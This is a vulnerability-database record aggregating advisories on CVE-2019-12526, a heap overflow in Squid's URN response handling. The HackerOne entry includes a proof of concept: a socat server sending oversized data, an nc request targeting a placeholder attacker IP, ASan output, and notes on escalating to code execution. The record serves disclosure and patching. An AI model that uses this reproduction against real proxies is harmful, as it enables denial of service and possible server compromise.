An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap.
{"checkpoint_advisories": [{"lastseen": "2022-02-01T00:00:00", "description": "A heap buffer overflow vulnerability has been reported in Squid Proxy. Successful exploitation could result in execution of arbitrary code under the security context of the squid process.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-01T00:00:00", "type": "checkpoint_advisories", "title": "Squid Proxy Heap Buffer Overflow (CVE-2019-12526)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526"], "modified": "2022-01-05T00:00:00", "id": "CPAI-2019-1888", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "hackerone": [{"lastseen": "2021-09-16T10:53:16", "bounty": 12000.0, "description": "## Summary:\nWhen handling a URN Request an attacker controlled response can cause Squid to overflow a heap buffer. The buffer exist within a struct so not only does it allow an attacker to overflow adjacent memory, but also control a pointer that follows the buffer enabling them to free arbitrary memory. Paired with the Cache Manager bypass that I reported earlier, an attacker will know which addresses are valid. This can lead to RCE and was stated in the serverity of the Squid announce. \n\nSquid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_7.txt\nAssigned CVE-2019-12526\n\n## Steps To Reproduce:\nYou must add the following to your squid.conf to allow URN request\n\n```\nacl Safe_ports port 0\n```\n\nThe squid child will crash even without Asan, but it'll automatically restart. You can check PIDs to confirm it did crash or you can build with ASan if you want to see the crash output. \n\n```\n$ export CFLAGS=\"${CFLAGS} -fsanitize=address -g\"\n$ export CXXFLAGS=\"${CXXFLAGS} ${CFLAGS}\"\n\n$./configure\n```\n\nI would also set the following ASan flags\n```\nexport ASAN_OPTIONS=\"detect_leaks=false abort_on_error=true\"\n```\n\n\n1) Start Squid\n```\n./sbin/squid --foreground -d 100\n```\n\n1) Start a server that will output 4096 bytes\n```\n$ socat TCP-LISTEN:8080,fork SYSTEM:\"python -c \\'print\\(\\\\\\\"A\\\\\\\" * 4096)\\'\"\n```\n\n2) Make a URN request to this server\n```\n$ echo -e \"GET urn::@<attacker IP>:8080/ HTTP/1.1\\r\\n\\r\\n\" |nc <squid hostname> 3128\n\n```\n\n```\n=================================================================\n==4723==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000067958 at pc 0x7f0d8a44deed bp 0x7ffff8eef4b0 sp 0x7ffff8eeec58\nWRITE of size 81 at 0x621000067958 thread T0\n #0 0x7f0d8a44deec (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)\n #1 0x563906dc1389 in mem_hdr::copyAvailable(mem_node*, long, unsigned long, char*) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:202\n #2 0x563906dc1f58 in mem_hdr::copy(StoreIOBuffer const&) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:262\n #3 0x563906de76d7 in store_client::scheduleMemRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:424\n #4 0x563906de6f0c in store_client::scheduleRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:391\n #5 0x563906de691f in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:352\n #6 0x563906de6082 in storeClientCopy2 /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:306\n #7 0x563906de4ac4 in storeClientCopyEvent /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:145\n #8 0x563906c3cc8e in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid/releases/squid-4.8/src/event.cc:41\n #9 0x563906c3d7c6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145\n #10 0x563906fd75cd in AsyncCall::make() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCall.cc:40\n #11 0x563906fd90b5 in AsyncCallQueue::fireNext() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:56\n #12 0x563906fd8bfc in AsyncCallQueue::fire() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:42\n #13 0x563906c3e8ac in EventLoop::dispatchCalls() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:144\n #14 0x563906c3e42e in EventLoop::runOnce() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:109\n #15 0x563906c3e052 in EventLoop::run() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:83\n #16 0x563906d35a0e in SquidMain(int, char**) /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1709\n #17 0x563906d34102 in SquidMainSafe /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1417\n #18 0x563906d3404f in main /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1405\n #19 0x7f0d89723eaa in __libc_start_main (/lib64/libc.so.6+0x23eaa)\n #20 0x563906ae3b59 in _start (/home/j1/h4x/squid/debug/squid-4.8/sbin/squid+0x484b59)\n\n0x621000067958 is located 0 bytes to the right of 4184-byte region [0x621000066900,0x621000067958)\nallocated by thread T0 here:\n #0 0x7f0d8a4c59ae in __interceptor_calloc (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x1179ae)\n #1 0x563907343217 in xcalloc /home/j1/h4x/squid/releases/squid-4.8/compat/xalloc.cc:83\n #2 0x56390731d954 in MemPoolMalloc::allocate() /home/j1/h4x/squid/releases/squid-4.8/src/mem/PoolMalloc.cc:35\n #3 0x563907317412 in MemImplementingAllocator::alloc() /home/j1/h4x/squid/releases/squid-4.8/src/mem/Pool.cc:204\n #4 0x563906b62af5 in cbdataInternalAlloc(int, char const*, int) /home/j1/h4x/squid/releases/squid-4.8/src/cbdata.cc:238\n #5 0x563906e36d1c in UrnState::operator new(unsigned long) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:32\n #6 0x563906e344c1 in urnStart(HttpRequest*, StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:211\n #7 0x563906c609cb in FwdState::Start(RefCount<Comm::Connection> const&, StoreEntry*, HttpRequest*, RefCount<AccessLogEntry> const&) /home/j1/h4x/squid/releases/squid-4.8/src/FwdState.cc:373\n #8 0x563906bac622 in clientReplyContext::processMiss() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:783\n #9 0x563906bb947e in clientReplyContext::doGetMoreData() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1855\n #10 0x563906bb76d1 in clientReplyContext::identifyFoundObject(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1707\n #11 0x563906bae43c in clientReplyContext::created(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:937\n #12 0x563906dc96e7 in StoreEntry::getPublicByRequest(StoreClient*, HttpRequest*) /home/j1/h4x/squid/releases/squid-4.8/src/store.cc:524\n #13 0x563906bb716e in clientReplyContext::identifyStoreObject() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1667\n #14 0x563906bb8cab in clientGetMoreData /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1813\n #15 0x563906bead08 in clientStreamRead(clientStreamNode*, ClientHttpRequest*, StoreIOBuffer) /home/j1/h4x/squid/releases/squid-4.8/src/clientStream.cc:182\n #16 0x563906bd20c6 in ClientHttpRequest::httpStart() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1542\n #17 0x563906bd1c94 in ClientHttpRequest::processRequest() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1528\n #18 0x563906bd528d in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1896\n #19 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830\n #20 0x563906bcacf5 in ClientRequestContext::clientAccessCheck2() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:729\n #21 0x563906bd383f in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1781\n #22 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830\n #23 0x563906bcae38 in clientAccessCheckDoneWrapper /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:741\n #24 0x563906f171b9 in ACLChecklist::checkCallback(allow_t) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:169\n #25 0x563906f15b23 in ACLChecklist::completeNonBlocking() /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:54\n #26 0x563906f17c5b in ACLChecklist::nonBlockingCheck(void (*)(allow_t, void*), void*) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:257\n #27 0x563906bca91a in ClientRequestContext::clientAccessCheck() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:709\n #28 0x563906bd3255 in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1753\n #29 0x563906bc87b9 in ClientRequestContext::hostHeaderVerify() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:600\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec) \nShadow bytes around the buggy address:\n 0x0c4280004ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c4280004ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c4280004ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c4280004f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c4280004f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c4280004f20: 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa\n 0x0c4280004f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4280004f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4280004f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4280004f60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4280004f70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==4723==ABORTING\n```\n\n## Analysis\n\nWhen handling an URN request from a user Squid makes a request to the remote\nserver to retrieve a list of URLs. The response is handled via urnHandleReply.\n\nThe response from the server is buffered into urnState->reqbuf as Squid reads\ndata in. This buffer is of length URN_REQBUF_SZ 4096\n\nurnHandleReply can be called into multiple times as it waits for\nurlres_e->store_status != STORE_PENDING and the current offset into reqbuf\nheld by urnState->reqofs is less than URN_REQBUF_SZ.\n\n```\n if (urlres_e->store_status == STORE_PENDING &&\n urnState->reqofs < URN_REQBUF_SZ) {\n tempBuffer.offset = urnState->reqofs;\n tempBuffer.length = URN_REQBUF_SZ;\n tempBuffer.data = urnState->reqbuf + urnState->reqofs;\n storeClientCopy(urnState->sc, urlres_e,\n tempBuffer,\n urnHandleReply,\n urnState);\n return;\n }\n```\nurnHandleReply will prepare a StoreIOBuffer object filling it with urnState\nbuffer, reqofs, and how the length.\n\nUnfortunately this tempBuffer has the total length of urnState->reqbuf\nURN_REQBUF_SZ, instead of the amount of data that is left. Whenever the\nresponse is being copied a second time into the buffer it can overflow. The \nattacker can control how much is overflowed by adjusting the response.\n\n## Impact\n\nThis overflow has 2 useful features for someone trying to exploit Squid. The\nfirst obvious one being overflowing into an adjacent memory region. An\nattacker that was able to align the heap in such a way that a virtual table\npointer was after the urnState object could gain control of the instructor\npointer, thus, gaining control of the Squid process.\n\nThe second is that before urnState overflows into that adjacent object it will\noverflow the pointer urlres within itself. This pointer later is free'd. An\nattacker with knowledge of current addresses in Squid could use this to\ntrigger a Use-After-Free.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-19T17:10:18", "type": "hackerone", "title": "Squid Cache (IBB): UrnState Heap Overflow", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526"], "modified": "2021-08-26T23:36:06", "id": "H1:824771", "href": "https://hackerone.com/reports/824771", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "veracode": [{"lastseen": "2022-07-26T13:34:10", "description": "squid is vulnerable to arbitrary code execution. The vulnerability exists as a heap-based buffer overflow could occur when receiving data from a remote server in response to an URN request, and when squid fails to ensure that the response can fit within the buffer.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-21T06:22:09", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526"], "modified": "2022-04-26T23:15:45", "id": "VERACODE:26855", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-26855/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2022-07-07T17:44:37", "description": "A heap-based buffer overflow was found in the way squid processed certain Uniform Resource Names (URNs). A remote attacker could use this flaw to cause Squid to crash or execute arbitrary code with the permissions of the user running Squid.\n#### Mitigation\n\nThe following mitigation is suggested by upstream: \n\n\nDeny urn: protocol URI being proxied to all clients: \n\n \n \n acl URN proto URN \n http_access deny URN \n \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-03T01:59:11", "type": "redhatcve", "title": "CVE-2019-12526", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526"], "modified": "2022-07-07T11:26:32", "id": "RH:CVE-2019-12526", "href": "https://access.redhat.com/security/cve/cve-2019-12526", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2022-08-04T13:34:21", "description": "An issue was discovered in Squid before 4.9. URN response handling in Squid\nsuffers from a heap-based buffer overflow. When receiving data from a\nremote server in response to an URN request, Squid fails to ensure that the\nresponse can fit within the buffer. This leads to attacker controlled data\noverflowing in the heap.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-11-26T00:00:00", "type": "ubuntucve", "title": "CVE-2019-12526", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526"], "modified": "2019-11-26T00:00:00", "id": "UB:CVE-2019-12526", "href": "https://ubuntu.com/security/CVE-2019-12526", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2022-07-09T17:36:24", "description": "An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-11-26T17:15:00", "type": "debiancve", "title": "CVE-2019-12526", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526"], "modified": "2019-11-26T17:15:00", "id": "DEBIANCVE:CVE-2019-12526", "href": "https://security-tracker.debian.org/tracker/CVE-2019-12526", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "archlinux": [{"lastseen": "2021-07-28T14:33:59", "description": "Arch Linux Security Advisory ASA-201911-8\n=========================================\n\nSeverity: Critical\nDate : 2019-11-07\nCVE-ID : CVE-2019-12526 CVE-2019-18678 CVE-2019-18679\nPackage : squid\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-1062\n\nSummary\n=======\n\nThe package squid before version 4.9-1 is vulnerable to multiple issues\nincluding arbitrary code execution, content spoofing and information\ndisclosure.\n\nResolution\n==========\n\nUpgrade to 4.9-1.\n\n# pacman -Syu \"squid>=4.9-1\"\n\nThe problems have been fixed upstream in version 4.9.\n\nWorkaround\n==========\n\n- CVE-2019-12526\n\nDeny urn: protocol URI being proxied to all clients:\n\n acl URN proto URN\n http_access deny URN\n\n- CVE-2019-18678\n\nThere are no workarounds for this vulnerability.\n\n- CVE-2019-18679\n\nDigest authentication can be disabled by removing all 'auth_param\ndigest ...' configuration settings from squid.conf.\n\nDescription\n===========\n\n- CVE-2019-12526 (arbitrary code execution)\n\nA heap-based buffer overflow has been found in Squid before 4.9, when\nprocessing URN.\n\n- CVE-2019-18678 (content spoofing)\n\nA HTTP request splitting issue has been found in Squid before 4.9. This\nissue allows attackers to smuggle HTTP requests through frontend\nsoftware to a Squid which splits the HTTP Request pipeline differently.\nThe resulting Response messages corrupt caches between client and Squid\nwith attacker controlled content at arbitrary URLs.\n\n- CVE-2019-18679 (information disclosure)\n\nAn information disclosure issue has been found in Squid before 4.9,\nwhen processing HTTP Digest Authentication. The nonce tokens contain\nthe raw byte value of a pointer which sits within heap memory\nallocation, which reduces ASLR protections and may aid attackers\nisolating memory areas to target for remote code execution attacks.\n\nImpact\n======\n\nA remote attacker might access sensitive information, corrupt the\ncontent of arbitrary URLs in the caches or execute arbitrary code.\n\nReferences\n==========\n\nhttp://www.squid-cache.org/Advisories/SQUID-2019_7.txt\nhttp://www.squid-cache.org/Advisories/SQUID-2019_10.txt\nhttp://www.squid-cache.org/Advisories/SQUID-2019_11.txt\nhttp://www.squid-cache.org/Versions/v4/changesets/squid-4-7aa0184a720fd216191474e079f4fe87de7c4f5a.patch\nhttp://www.squid-cache.org/Versions/v4/changesets/squid-4-671ba97abe929156dc4c717ee52ad22fba0f7443.patch\nhttp://www.squid-cache.org/Versions/v4/changesets/squid-4-671ba97abe929156dc4c717ee52ad22fba0f7443.patc\nhttps://security.archlinux.org/CVE-2019-12526\nhttps://security.archlinux.org/CVE-2019-18678\nhttps://security.archlinux.org/CVE-2019-18679", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-11-07T00:00:00", "type": "archlinux", "title": "[ASA-201911-8] squid: multiple issues", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-11-07T00:00:00", "id": "ASA-201911-8", "href": "https://security.archlinux.org/ASA-201911-8", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2021-10-22T11:48:48", "description": "Package : squid3\nVersion : 3.4.8-6+deb8u9\nCVE ID : CVE-2019-12526 CVE-2019-18677 CVE-2019-18678\n CVE-2019-18679\n\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by the following security\nvulnerabilities.\n\nCVE-2019-12526\n\n URN response handling in Squid suffers from a heap-based buffer\n overflow. When receiving data from a remote server in response to\n an URN request, Squid fails to ensure that the response can fit\n within the buffer. This leads to attacker controlled data\n overflowing in the heap.\n\nCVE-2019-18677\n\n When the append_domain setting is used (because the appended\n characters do not properly interact with hostname length\n restrictions), it can inappropriately redirect traffic to origins\n it should not be delivered to. This happens because of incorrect\n message processing.\n\nCVE-2019-18678\n\n A programming error allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that splits the HTTP\n Request pipeline differently. The resulting Response messages\n corrupt caches (between a client and Squid) with\n attacker-controlled content at arbitrary URLs. Effects are isolated\n to software between the attacker client and Squid.\n There are no effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing whitespace\n between a header name and a colon.\n\nCVE-2019-18679\n\n Due to incorrect data management, Squid is vulnerable to\n information disclosure when processing HTTP Digest Authentication.\n Nonce tokens contain the raw byte value of a pointer that sits\n within heap memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory areas to target\n for remote code execution attacks.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.4.8-6+deb8u9.\n\nWe recommend that you upgrade your squid3 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-10T15:04:42", "type": "debian", "title": "[SECURITY] [DLA 2028-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-10T15:04:42", "id": "DEBIAN:DLA-2028-1:D9696", "href": "https://lists.debian.org/debian-lts-announce/2019/12/msg00011.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-01T03:05:31", "description": "Package : squid3\nVersion : 3.4.8-6+deb8u9\nCVE ID : CVE-2019-12526 CVE-2019-18677 CVE-2019-18678\n CVE-2019-18679\n\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by the following security\nvulnerabilities.\n\nCVE-2019-12526\n\n URN response handling in Squid suffers from a heap-based buffer\n overflow. When receiving data from a remote server in response to\n an URN request, Squid fails to ensure that the response can fit\n within the buffer. This leads to attacker controlled data\n overflowing in the heap.\n\nCVE-2019-18677\n\n When the append_domain setting is used (because the appended\n characters do not properly interact with hostname length\n restrictions), it can inappropriately redirect traffic to origins\n it should not be delivered to. This happens because of incorrect\n message processing.\n\nCVE-2019-18678\n\n A programming error allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that splits the HTTP\n Request pipeline differently. The resulting Response messages\n corrupt caches (between a client and Squid) with\n attacker-controlled content at arbitrary URLs. Effects are isolated\n to software between the attacker client and Squid.\n There are no effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing whitespace\n between a header name and a colon.\n\nCVE-2019-18679\n\n Due to incorrect data management, Squid is vulnerable to\n information disclosure when processing HTTP Digest Authentication.\n 